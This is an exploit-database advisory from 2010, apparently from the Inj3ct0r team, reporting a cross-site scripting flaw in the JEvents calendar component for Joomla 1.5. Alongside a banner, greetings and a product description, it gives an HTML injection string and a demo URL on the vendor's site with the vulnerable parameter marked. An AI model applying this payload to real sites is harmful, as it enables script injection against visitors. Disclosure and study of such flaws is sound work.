Joomla v1.5 JEvents XSS Vulnerability

=====================================
Joomla v1.5 JEvents XSS Vulnerability
=====================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                ###########################################           1
0                I'm L0rd CrusAd3r member from Inj3ct0r Team           1
1                ###########################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


Author: L0rd CrusAd3r aka VSN [[email protected]]
Exploit Title:Joomla JEvents XSS Vulnerable
Version:1.5
Price:90$
Published: 2010-06-23
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

This well known and loved Events Calendar for Joomla. JEvents consists of a Joomfish compatible Joomla component and a number of modules and plugins.

Component
* One-off Events and complex repeating patterns of events can be created and viewed in an attractive calendar and a variety of list formats
* Multiple design layouts possible
* Fully compatible with Joomla 1.5 MVC framework
* Ical imports/exports
* Repeat exception handling
* Events can be categorised and calendar views can be customised to show all or some of these categories

Modules
* Mini-calendar module (jevents_cal) which gives a quick overview of events which can be placed on any page
* Latest events modue (jevents_latest) which gives a highly configurable summary of upcoming events
* Events legend (jevents_legend) - displayed alongside the component gives you a summary of event categories and an easy way to limit the events shown to specific categories


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*XSS Vulnerability

DEMO URL :

Parameter:">><marquee><h1>XSS By L0rd CrusAd3r</h1><marquee>


http://www.jevents.net/en/wishlists?controller=suggestions&view=suggestions&layout=list&category_id=[xss]

# 0day n0 m0re #
# L0rd CrusAd3r #



#  0day.today [2018-03-13]  #